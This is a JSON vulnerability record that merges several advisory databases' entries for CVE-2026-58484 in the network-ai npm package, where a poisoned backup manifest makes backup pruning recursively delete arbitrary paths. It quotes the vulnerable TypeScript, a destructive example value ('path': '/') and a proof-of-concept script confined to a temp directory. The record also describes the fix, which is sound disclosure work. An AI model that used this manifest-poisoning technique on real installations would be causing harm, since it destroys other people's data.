{"id":"CVE-2026-58484","aliases":["EUVD-2026-46034","GHSA-2fmp-9rvw-hc96"],"status":"published","title":"Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.listBackups()` reads each backup's `_manifest.json` and trusts the manifest's `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`. An attacker who can place or modify a manifest inside `data/\u003cenv\u003e/.backups/\u003cname\u003e/_manifest.json` can cause `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. This is fixed in v5.12.2. `pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert.","severity":{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00202,"percentile":0.10113,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-73"],"published":"2026-06-19T21:42:26Z","modified":"2026-10-28T02:30:25Z","fixes":[{"ecosystem":"npm","package":"network-ai","fixed_in":["5.12.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"network-ai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.12.1"},{"fixed":"5.12.2"}]}]},{"source":"osv","ecosystem":"npm","package":"network-ai","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.12.2"}]}]}],"products":[{"vendor":"jovancoding","product":"network-ai"},{"vendor":"network-ai","product":"network-ai"}],"references":[{"url":"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96","tags":["x_refsource_CONFIRM","exploit","Exploit","Patch","Vendor Advisory","advisory","web"]},{"url":"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2","tags":["x_refsource_MISC","Patch","Release Notes","web"]},{"url":"https://github.com/advisories/GHSA-2fmp-9rvw-hc96"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/58xxx/CVE-2026-58484.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58484","tags":["advisory"]},{"url":"https://github.com/Jovancoding/Network-AI","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-58484","title":"Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.listBackups()` reads each backup's `_manifest.json` and trusts the manifest's `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`. An attacker who can place or modify a manifest inside `data/\u003cenv\u003e/.backups/\u003cname\u003e/_manifest.json` can cause `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. This is fixed in v5.12.2. `pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert.","status":"published","published":"2026-07-20T17:00:56.125Z","modified":"2026-07-20T18:52:43.854Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-22","CWE-73"],"updated_at":"2026-11-02T13:47:39.876248Z"}],"euvd":[{"id":"EUVD-2026-46034","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.listBackups()` reads each backup's `_manifest.json` and trusts the manifest's `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`. An attacker who can place or modify a manifest inside `data/\u003cenv\u003e/.backups/\u003cname\u003e/_manifest.json` can cause `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. This is fixed in v5.12.2. `pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert.","status":"published","published":"2026-07-20T17:00:56Z","modified":"2026-07-20T18:52:43Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:19:48.530346Z"}],"ghsa":[{"id":"GHSA-2fmp-9rvw-hc96","title":"Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning","description":"### Summary\n`EnvironmentManager.listBackups()` reads each backup's `_manifest.json` and trusts the manifest's `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`.\n\nAn attacker who can place or modify a manifest inside `data/\u003cenv\u003e/.backups/\u003cname\u003e/_manifest.json` can cause `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.\n\n### Details\n`listBackups()` trusts manifest content from disk:\n\n```ts\nfor (const name of readdirSync(backupsDir)) {\n  const manifest = join(backupsDir, name, '_manifest.json');\n  if (existsSync(manifest)) {\n    try {\n      const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry;\n      entries.push(entry);\n    } catch { /* corrupt manifest, skip */ }\n  }\n}\n```\n\n`pruneBackups()` uses the attacker-controlled `entry.path` as the deletion target:\n\n```ts\nconst toDelete = all.slice(keep);\nlet deleted = 0;\nfor (const entry of toDelete) {\n  try {\n    rmSync(entry.path, { recursive: true, force: true });\n    deleted++;\n  } catch { /* ignore */ }\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:505-523` — reads trusted backup entries from `_manifest.json`.\n- `lib/env-manager.ts:529-541` — recursively deletes `entry.path`.\n- `bin/cli.ts:464-472` — default CLI exposes backup pruning.\n\n### PoC\nThis PoC uses only a temporary directory and deletes only a temporary file:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - \u003c\u003c'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\n\nconst mgr = new EnvironmentManager(path.join(base, 'data'), {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nfs.writeFileSync(path.join(base, 'victim.txt'), 'safe');\n\nconst backupsDir = path.join(base, 'data', 'dev', '.backups');\nfs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true });\nfs.writeFileSync(\n  path.join(backupsDir, 'evil', '_manifest.json'),\n  JSON.stringify({\n    backupId: 'evil',\n    env: 'dev',\n    timestamp: '2000-01-01T00:00:00.000Z',\n    sizeBytes: 0,\n    path: path.join(base, 'victim.txt'),\n  })\n);\n\nconsole.log(JSON.stringify({\n  before: fs.existsSync(path.join(base, 'victim.txt')),\n  deleted: mgr.pruneBackups('dev', 0),\n  after: fs.existsSync(path.join(base, 'victim.txt')),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `before` is `true`, `deleted` is `1`, and `after` is `false`, proving deletion occurred outside `data/dev/.backups`.\n\n### Impact\nAn attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.","status":"published","published":"2026-06-19T21:42:26Z","modified":"2026-06-19T21:42:30Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22","CWE-73"],"updated_at":"2026-11-02T14:40:31.656952Z"}],"nvd":[{"id":"CVE-2026-58484","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.listBackups()` reads each backup's `_manifest.json` and trusts the manifest's `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`. An attacker who can place or modify a manifest inside `data/\u003cenv\u003e/.backups/\u003cname\u003e/_manifest.json` can cause `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. This is fixed in v5.12.2. `pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert.","status":"published","published":"2026-07-20T17:18:16.16Z","modified":"2026-10-24T20:10:00.137Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-22","CWE-73"],"updated_at":"2026-11-02T14:12:31.024898Z"}],"osv":[{"id":"CVE-2026-58484","title":"Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.listBackups()` reads each backup's `_manifest.json` and trusts the manifest's `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`. An attacker who can place or modify a manifest inside `data/\u003cenv\u003e/.backups/\u003cname\u003e/_manifest.json` can cause `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. This is fixed in v5.12.2. `pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert.","status":"published","published":"2026-07-20T17:00:56.125Z","modified":"2026-10-28T02:30:25.88505725Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22","CWE-73"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"GHSA-2fmp-9rvw-hc96","title":"Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning","description":"### Summary\n`EnvironmentManager.listBackups()` reads each backup's `_manifest.json` and trusts the manifest's `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`.\n\nAn attacker who can place or modify a manifest inside `data/\u003cenv\u003e/.backups/\u003cname\u003e/_manifest.json` can cause `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.\n\n### Details\n`listBackups()` trusts manifest content from disk:\n\n```ts\nfor (const name of readdirSync(backupsDir)) {\n  const manifest = join(backupsDir, name, '_manifest.json');\n  if (existsSync(manifest)) {\n    try {\n      const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry;\n      entries.push(entry);\n    } catch { /* corrupt manifest, skip */ }\n  }\n}\n```\n\n`pruneBackups()` uses the attacker-controlled `entry.path` as the deletion target:\n\n```ts\nconst toDelete = all.slice(keep);\nlet deleted = 0;\nfor (const entry of toDelete) {\n  try {\n    rmSync(entry.path, { recursive: true, force: true });\n    deleted++;\n  } catch { /* ignore */ }\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:505-523` — reads trusted backup entries from `_manifest.json`.\n- `lib/env-manager.ts:529-541` — recursively deletes `entry.path`.\n- `bin/cli.ts:464-472` — default CLI exposes backup pruning.\n\n### PoC\nThis PoC uses only a temporary directory and deletes only a temporary file:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - \u003c\u003c'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\n\nconst mgr = new EnvironmentManager(path.join(base, 'data'), {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nfs.writeFileSync(path.join(base, 'victim.txt'), 'safe');\n\nconst backupsDir = path.join(base, 'data', 'dev', '.backups');\nfs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true });\nfs.writeFileSync(\n  path.join(backupsDir, 'evil', '_manifest.json'),\n  JSON.stringify({\n    backupId: 'evil',\n    env: 'dev',\n    timestamp: '2000-01-01T00:00:00.000Z',\n    sizeBytes: 0,\n    path: path.join(base, 'victim.txt'),\n  })\n);\n\nconsole.log(JSON.stringify({\n  before: fs.existsSync(path.join(base, 'victim.txt')),\n  deleted: mgr.pruneBackups('dev', 0),\n  after: fs.existsSync(path.join(base, 'victim.txt')),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `before` is `true`, `deleted` is `1`, and `after` is `false`, proving deletion occurred outside `data/dev/.backups`.\n\n### Impact\nAn attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.","status":"published","published":"2026-06-19T21:42:26Z","modified":"2026-07-21T03:56:48.130660536Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22","CWE-73"],"updated_at":"2026-11-02T15:46:34.338541Z"}]}}
